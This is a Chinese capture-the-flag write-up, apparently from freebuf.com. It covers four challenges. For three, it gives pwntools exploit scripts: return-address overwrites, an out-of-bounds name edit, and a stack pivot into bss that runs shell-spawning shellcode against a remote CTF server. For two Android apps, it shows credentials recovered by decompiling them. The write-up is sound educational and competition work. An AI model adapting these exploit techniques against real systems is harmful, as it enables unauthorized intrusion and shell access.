Ret2basic
50 points
题目描述
查看文件信息，64位ELF文件，no canary。
解题
IDA反编译，可以看到有一个简单的栈溢出漏洞。
win函数会输出flag。
所以栈溢出返回到win函数即可
Exploit
from pwn import *
context(arch='amd64',log_level='debug')
p=process('./ret2basic')
win_addr = 0x0401215
payload = 'A'*0x70 + 'A'*0x08 + p64(win_addr)
p.sendlineafter('this?: ',payload)
p.interactive()
TheList
452 points
题目描述
查看文件信息，64位ELF文件
运行the_list，基本功能是添加/修改/删除/显示用户名。
解题
IDA反编译，第一眼可以看到give_flag函数，这个函数会输出flag.txt的内容。
继续分析，add_user函数提示用户输入用户名，最多输入31个字符(‘\n’也算在内)。输入完成后，将相邻内存区域清空，以便下一次输入。另外调试可以发现最多添加16个用户名。
分析change_name函数，最多输入79个字符(‘\n’也算在内)，并且没有对编号进行越界检查，所以可以通过不存在的编号进行栈上内容覆盖。
用gdb进行调试。
可以看到，返回地址在0x7fffffffe318
因此可以通过change_name(19)，将返回地址覆盖为give_flag函数地址。
Exploit
from pwn import *
#context(arch='amd64',log_level='debug')
p = process('./the_list')
give_flag_addr = 0x0401369
p.sendlineafter('Enter your name: ', 'A')
for i in range(16):
p.sendlineafter('> ', '2')
p.sendlineafter("Enter the user's name: ", 'A')
payload = "A" * 0x08 + p64(give_flag_addr)
p.sendlineafter('> ', '4')
p.sendlineafter('What is the number for the user whose name you want to change? ', '19')
p.sendlineafter("What is the new user's name? ", payload)
p.sendlineafter('> ', '5')
p.interactive()
Andra
50 points
题目描述
模拟器里运行andra.apk。需要输入Name和password。
解题
jadx反编译。
可以看到登录Name和password为Nahamcom和pink_panther@786
在app里登录可以拿到flag。
Resourceful
50 points
题目描述
模拟器里运行resourceful.apk，需要输入password。
解题
jadx反编译，可以拿到password为sUp3R_S3cRe7_P4s5w0Rd
登录后拿到flag。
not_beginners_stack
82points
题目描述
chall是一个64位ELF文件，保护全关。
题目也给出了源代码main.S，其中vuln函数存在一个明显的栈溢出漏洞。
vuln:
;; char buf[0x100];
enter 0x100, 0
;; write(1, "Data: ", 6);
mov edx, 6
mov esi, msg_data
xor edi, edi
inc edi
call write
;; read(0, buf, 0x1000);
mov edx, 0x1000 ; [!] vulnerability
lea rsi, [rbp-0x100]
xor edi, edi
call read
;; return;
leave
ret
但是，由于题目的设置，我们不能通过覆盖返回地址的方式利用该漏洞。原因如下：
%macro call 1
;; __stack_shadow[__stack_depth++] = return_address;
mov ecx, [__stack_depth]
mov qword [__stack_shadow + rcx * 8], %%return_address
inc dword [__stack_depth]
;; goto function
jmp %1
%%return_address:
%endmacro
%macro ret 0
;; goto __stack_shadow[--__stack_depth];
dec dword [__stack_depth]
mov ecx, [__stack_depth]
jmp qword [__stack_shadow + rcx * 8]
%endmacro
返回地址会保存在bss段，当函数退出时，再通过这个保存的返回地址跳转。
解题
call vuln
;; write(1, "Data: ", 6);
mov edx, 6
mov esi, msg_data
xor edi, edi
inc edi
call write
;; read(0, buf, 0x100);
mov edx, 0x100
lea rsi, [rbp-0x100]
xor edi, edi
call read
;; return 0;
xor eax, eax
ret
因为bss段是可写的，在vuln函数中第一次read时把RBP覆盖成fake RBP，当vuln函数调用结束后，将栈迁移到bss段。并且此时的RBP会用于第二次read，这样的话通过构造bss段上的结构，我们最终能执行shellcode（NX是关闭的）。
IDA中查看__stack_shadow地址。
由于返回地址会用[__stack_depth]计算，所以我们对这个变量进行进一步的分析。源程序和调试结果说明，当程序开始时，[__stack_depth]为0，每call一次，这个值就加1，每ret一次，这个值减1。
当调用到vuln函数时，[__stack_depth]为2。
那么当我们执行到第二次read时，[__stack_depth]的值为1。因此第二次read结束时，会跳转到[__stack_shadow + rcx * 8]=[0x0600234+1*8]=[0x060023c]。我们只需要将[0x060023c]设置成shellcode的地址即可。
Exploit
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
elf = ELF("./chall")
p = remote("pwn.ctf.zer0pts.com", 9011)
# overwrite saved rbp
bss_addr = 0x0600234 #__stack_shadow
payload = b"A" * 0x100
payload += p64(bss_addr + 0x100)
p.sendlineafter("Data: ", payload)
# construct fake stack
payload = p64(0)+p64(bss_addr+ 0x10)
print(shellcraft.sh())
payload += asm(shellcraft.sh())
p.sendlineafter("Data: ", payload)
p.interactive()
成功拿到flag。
来源：freebuf.com 2021-03-19 16:37:55 by: csodajet